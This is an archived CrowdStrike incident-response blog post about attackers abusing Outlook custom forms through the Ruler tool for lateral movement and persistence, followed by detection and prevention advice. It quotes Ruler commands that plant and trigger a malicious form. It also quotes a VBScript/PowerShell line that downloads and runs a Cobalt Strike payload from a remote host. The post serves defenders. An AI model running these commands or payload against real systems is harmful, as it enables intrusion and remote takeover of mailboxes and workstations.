# Using Outlook Forms for Lateral Movement and Persistence - Malware News - Malware Analysis, News and Indicators

Published: 2017-07-22 · Archived: 2026-04-06 02:06:46 UTC

*By CrowdStrike Services: Tim Parisi, Doug Clendening and Jai Musunuri*

## Background

During a recent CrowdStrike Services investigation, we identified an adversary attack method, used for lateral movement and persistence, that we have not seen used before. The attack leveraged customized forms – not macros – in Microsoft Outlook that allowed Visual Basic code to execute on a system just by opening or previewing an email message.

A detailed explanation of the Outlook forms attack can be found in the SensePost article here. This article below details CrowdStrike's observations responding to an adversary that used this attack, including a high-level walk-through of the adversary's actions, along with our detection and prevention methods.

## Walk-through

Shortly after responding to our client's call, we performed forensic analysis and identified that the adversary had accessed the client's single-factor authentication Outlook Web Access (OWA) server using previously harvested credentials. With access to the victim's OWA server, the adversary created custom message forms to a set of users in the victim organization's environment. The custom forms, when triggered through an email, allowed the adversary to execute code on the victim system.

To create custom forms, the adversary used the Ruler utility. In this case, the adversary created a custom Outlook form that enabled Visual Basic code execution and embedded the Cobalt Strike downloader to the email message. This allowed shell access and full read, write, and execute permissions on the system each time an email was sent to the user using the custom malicious form.

Below is a sample command using Ruler to create a custom form, specifying the file "/test/CobaltStrike.txt", which contained Visual Basic code to download and launch Cobalt Strike, and then sending an email to trigger the form:

```
./ruler –email user@victim.com form add –suffix MaliciousForm –input /test/CobaltStrike.txt –send
```

*Figure 1: Sample Ruler command to create the form "MaliciousForm" and send an email to the victim*

1. The above command performed the following actions:
   Created the custom form "MaliciousForm" in the "user@victim.com" mailbox
2. Sent an email to "user@victim.com" from the same sender "user@victim.com"
   a. The email contained the default Ruler subject of "Invoice [Confidential]"
3. Cobalt Strike was downloaded and executed on the victim system, granting shell access to the adversary

The payload embedded in the adversary email contained the following code, which downloaded and executed a Cobalt Strike payload:
CreateObject("WScript.Shell").Run "cmd /c powershell.exe -NoP -sta -w hidden -c IEX ((new-object net.webclient).downloadstring('hxxp://:80/updater'))"
*Figure 2: Email payload that is executed on victim system with custom form*

The adversary employed this attack as a novel approach to move laterally within the environment without using traditional RDP or network logons, and bypassing the jump box that was in place between network segments in the victim organization. The adversary also leveraged this attack to maintain persistence in the environment by simply sending emails to any mailboxes that had the malicious custom form previously created through the following sample command:
./ruler –email user@victim.com form send –suffix MaliciousForm
*Figure 3: Sample Ruler command to send email with a payload to a victim that already has a custom form created in their mailbox*

So how can organizations detect and protect themselves from this?

## Detection

One way to detect this activity is to monitor OWA IIS logs for the Ruler user agent string, which is "ruler." A sample OWA IIS log below shows the adversary accessing the victim's OWA server with the Ruler utility:
cs-method=POST cs-uri-stem=/autodiscover/autodiscover.xml cs-uri-query=- s-port=444 cs-username=DOMAIN\account c-ip=192.168.1.1 cs-version=HTTP/1.1 cs(User-Agent)=ruler cs(Referer)=- sc-status=200 sc-substatus=0 sc-win32-status=0 time-taken=31
*Figure 4: Sample OWA IIS log showing the Ruler user agent "ruler" being used by the adversary*

Another detection method involves the Windows registry. Custom forms can be identified by searching the registry for the following keys that contain values other than "IPM.Note." In the example below, the Custom Form Compose, Read and Preview keys are populated with the "IPM.Note.MaliciousForm" values:
Key: [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook**Custom Forms\Compose**] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm
Key: [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook**Custom Forms\Read**] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm
Key: [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook**Custom Forms\Preview**] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm

*Figure 5: Registry keys and values that show a custom form is being used on the system when composing, reading or previewing an email*

Lastly, if the adversary does not change the default Ruler subject, SMTP traffic that contains the default subject of “Invoice [Confidential]” should be reviewed. In addition, monitoring utilities should have rules configured that alert on emails that contain the default Ruler subject of “Invoice [Confidential]”.

## Prevention

To perform this attack, the adversary needed to gain access to the Microsoft Exchange server, which in this case, only required single-factor authentication. Organizations should ensure that all aspects of their user base – whether corporate or third-party – are using two-factor authentication for email access.

In addition, organizations should implement an advanced endpoint protection platform, such as CrowdStrike Falcon®, that leverages machine learning to identify anomalies and perform heuristics, in addition to detecting and preventing known and unknown threats in real time. An endpoint agent such as CrowdStrike Falcon would have prevented the Cobalt Strike payload from successfully executing on the system, and prevented the adversary from moving laterally throughout the victim environment.

Learn more about detecting and preventing threats in real time by visiting our CrowdStrike Falcon platform page, or visit this page for details on CrowdStrike’s pre- and post-incident response services.

The post Using Outlook Forms for Lateral Movement and Persistence appeared first on .

Article Link: https://www.crowdstrike.com/blog/using-outlook-forms-lateral-movement-persistence/

---